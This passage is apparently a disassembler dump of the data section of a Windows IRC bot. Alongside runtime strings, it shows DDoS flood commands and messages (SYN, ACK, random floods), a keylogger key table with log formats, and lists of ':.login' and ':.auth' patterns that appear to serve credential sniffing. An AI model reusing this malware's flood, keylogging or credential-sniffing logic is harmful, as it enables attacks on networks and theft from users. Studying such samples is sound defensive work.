0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 0 dbl_421660 dq 9.765625e-4 ; DATA XREF: sub_40BCEF+2BDr ; sub_40BCEF+2D8r ... dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_414098+1Er dbl_421670 dq 1.0 ; DATA XREF: sub_415E6C+6Cr ; sub_415FB3+6Cr ... dword_421678 dd 0FFFFFFFFh, 417BCFh, 417BE3hbyte_421684 db 6 ; DATA XREF: sub_417D4C:loc_417DA3r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .nsp0:off_437D6Co unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_437D68o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .nsp0:off_437F94o align 10h dbl_4217B0 dq 0.0 ; DATA XREF: sub_41999C+8Cr ; sub_41999C+ACr ... dbl_4217B8 dq 4.195835e6 ; DATA XREF: sub_419EB1+Fr dbl_4217C0 dq 3.145727e6 ; DATA XREF: sub_419EB1+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419EEF+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_419EEFo align 10h aE000 db 'e+000',0 ; DATA XREF: sub_41A016+93o align 4 dword_4217F8 dd 0FFFFFFFFh, 41A701h, 41A70Bh, 0dword_421808 dd 0FFFFFFFFh, 0 dd offset loc_41A887 align 8 dd offset sub_41A865 dd offset sub_41A86F dword_421820 dd 0FFFFFFFFh, 41AAB7h, 41AABBh, 0dword_421830 dd 0FFFFFFFFh, 41AB19h, 41AB22h, 0dword_421840 dd 0FFFFFFFFh, 0 dd offset loc_41ABED align 10h dd offset loc_41ABD9 dd offset loc_41ABDD dword_421858 dd 0FFFFFFFFh, 0 dd offset loc_41AC43 align 8 dd offset loc_41AC2F dd offset loc_41AC33 dword_421870 dd 2 dup(0) ; sub_41D1F7+39o ... dword_421878 dd 0FFFFFFFFh, 41BE81h, 41BE85h, 0FFFFFFFFh, 41BF35h, 41BF39h ; DATA XREF: sub_41BD71+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_4383DCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CF19+119o align 10h asc_421B40 db 0Ah ; DATA XREF: sub_41CF19+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41CF19+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_41CF19+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41CF19+7Do align 10h dword_421B80 dd 0FFFFFFFFh, 41D2F0h, 41D2F4haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41E162+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6EE+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41E6EE+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41E6EE+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41F004:loc_41F0F9o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_41F004+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_41F004+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_41F004+ADo align 10h dword_421C20 dd 0FFFFFFFFh, 41F9FCh, 41FA00h, 0FFFFFFFFh, 41FA6Bh, 41FA6Fh ; DATA XREF: sub_41F845+5o dd 421D40h off_421C3C dd offset loc_41FFA8 ; DATA XREF: sub_41FDB0+4Do ; sub_41FFC4+Co dd offset sub_41FE6E dd offset sub_41FF8B aStringTooLong db 'string too long',0 ; DATA XREF: sub_41FDB0+1Eo dd offset dword_421D78 off_421C5C dd offset loc_41FED5 ; DATA XREF: sub_41FE0A+4Eo ; sub_41FE98+11o ... dd offset sub_41FE6E dd offset sub_41FE7B dd offset dword_421DC8 off_421C6C dd offset loc_420090 ; DATA XREF: sub_41FFDC+4Do ; sub_4200AC+Co dd offset sub_41FE6E dd offset sub_420073 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41FFDC+1Eo dd offset dword_421DF8 off_421C94 dd offset sub_420112 ; DATA XREF: sub_42012E+8o ; sub_42016B+8o ... ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 1, 42h, 0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .nsp0:004201D2o align 10h dd offset dword_421E40 off_421CB4 dd offset loc_4201ED ; DATA XREF: sub_4201D8o ; .nsp0:off_438B00o ... dword_421CB8 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_421CD8 dd offset off_438B00 ; DATA XREF: .nsp0:00421D28o ; .nsp0:00421D5Co ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_421CF0 dd offset off_438B18 ; DATA XREF: .nsp0:00421D24o ; .nsp0:00421D58o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_421D08 dd offset off_438B38 ; DATA XREF: .nsp0:00421D20o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_421D08 dd offset off_421CF0 dd offset off_421CD8 dword_421D2C dd 3 dup(0) dd 3, 421D20h, 3 dup(0) dd offset off_438B38 dd offset dword_421D2C+4 align 8 dd offset off_421CF0 dd offset off_421CD8 dword_421D60 dd 4 dup(0) dd 2, 421D58h dword_421D78 dd 3 dup(0) dd offset off_438B18 dd offset dword_421D60+8 align 10h off_421D90 dd offset off_438B58 ; DATA XREF: .nsp0:00421DA8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_421D90 dd offset off_421CF0 dd offset off_421CD8 dd 0 db 0 ; DATA XREF: .nsp0:00421DD8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 421DA8h dword_421DC8 dd 3 dup(0) dd offset off_438B58 dd offset unk_421DB8 dd offset off_421CD8 dword_421DE0 dd 4 dup(0) dd 1, 421DDCh dword_421DF8 dd 3 dup(0) dd offset off_438B00 dd offset dword_421DE0+8 align 10h off_421E10 dd offset off_438B78 ; DATA XREF: .nsp0:00421E28o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_421E10 dword_421E2C dd 3 dup(0) dd 1, 421E28h dword_421E40 dd 3 dup(0) dd offset off_438B78 dd offset dword_421E2C+4 align 8 dword_421E58 dd 19930520h, 2, 421E78h, 5 dup(0) dd 0FFFFFFFFh, 42024Ch, 0 dd offset sub_420244 dword_421E88 dd 19930520h, 2, 421EA8h, 5 dup(0) dd 0FFFFFFFFh, 420270h, 0 dd offset loc_420278 dword_421EB8 dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3 dup(0) ; DATA XREF: .nsp0:loc_42028Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 421F00h, 4 dup(0) dd offset loc_404E38 dd 0 dd offset off_438B00 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 42016Bh, 2 dup(0) dd offset off_438B18 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41FEF1h, 2 dup(0) dd offset off_438B38 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41FFC4h, 0 dword_421F70 dd 3, 421F50h, 421F30h, 421F10hdword_421F80 dd 0 ; sub_41FF8B+12o dd offset sub_41FF4E dd 0 dd offset dword_421F70 dword_421F90 dd 19930520h, 1, 421FB0h, 5 dup(0) dd 0FFFFFFFFh, 420298h dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0)dword_421FD8 dd 0FFFFFFFFh, 4202ACh, 2, 421F30h, 421F10h, 0dword_421FF0 dd 0 dd offset sub_41FE98 dd 0 dd offset dword_421FD8+8 dword_422000 dd 19930520h, 1, 422020h, 5 dup(0) dd 0FFFFFFFFh, 4202C0h dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) dd 0FFFFFFFFh, 4202D4h dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) dd 0FFFFFFFFh, 4202E8h, 0 dd offset off_438B58 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4200ACh, 0 dword_422098 dd 3, 422078h, 421F30h, 421F10hdword_4220A8 dd 0 ; sub_420073+12o dd offset sub_420036 dd 0 dd offset dword_422098 dword_4220B8 dd 19930520h, 1, 4220D8h, 5 dup(0) dd 0FFFFFFFFh, 4202FCh dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) dd 0FFFFFFFFh, 420310h, 3BEh dup(0) dword_423000 dd 0 dd offset sub_4036CF dd offset sub_404EE6 dd offset sub_4200C4 dword_423010 dd 0 dword_423014 dd 0 dd offset sub_416852 dd offset sub_41C384 dd offset sub_41D0D6 dd offset sub_41DF48 dword_423028 dd 0 dword_42302C dd 0 dd offset sub_41D17B dword_423034 dd 0 dword_423038 dd 0 dd offset sub_41DF59 dword_423040 dd 4 dup(0) unk_423050 db 2 ; DATA XREF: sub_401000+5Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_42308C db 2 ; DATA XREF: sub_4010B2+302o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o align 4 unk_4230E4 db 2 ; DATA XREF: sub_401447+397o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB' db ').',0 unk_423148 db 2 ; DATA XREF: sub_401447+307o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>' db '.',0 align 4 unk_4231AC db 2 ; DATA XREF: sub_401447+12Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aInvalidTargetI db 'Invalid target IP.',0 align 10h unk_4231E0 db 2 ; DATA XREF: sub_401447+C2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0 unk_42322C db 2 ; DATA XREF: sub_401447+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0 dword_423274 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40182E+48o dd 2029206Ch, 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 10h dword_4232B0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_4018CA+27Do dd 2029206Ch, 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4232E0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+4EBo dd 2029206Ch, 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_423344 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+44Fo dd 2029206Ch, 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401BD6+312o ; sub_40CE55+2B28o ... align 10h aAck db 'ack',0 ; DATA XREF: sub_401BD6+2F2o ; sub_40CE55+2B11o aSyn db 'syn',0 ; DATA XREF: sub_401BD6+2D2o ; sub_40CE55+2AF9o dword_4233B8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+15Fo dd 2029206Ch, 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4233EC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+EEo dd 2029206Ch, 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_423438 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+70o dd 2029206Ch, 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4021FB:loc_4022DEo unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_423BB4 dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_423BEC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh ; DATA XREF: sub_40211A+AEo dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_40211A+4Eo ; sub_40CE55+29D7o align 10h asc_423C30: ; DATA XREF: sub_40211A+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o align 10h aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo align 10h off_423C80 dd offset dword_4244F8 ; DATA XREF: sub_4024DC+29Er dd offset off_4244F4 dd offset aFtp ; "FTP" dd offset aHttp ; "HTTP" dword_423C90 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_423CA4 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 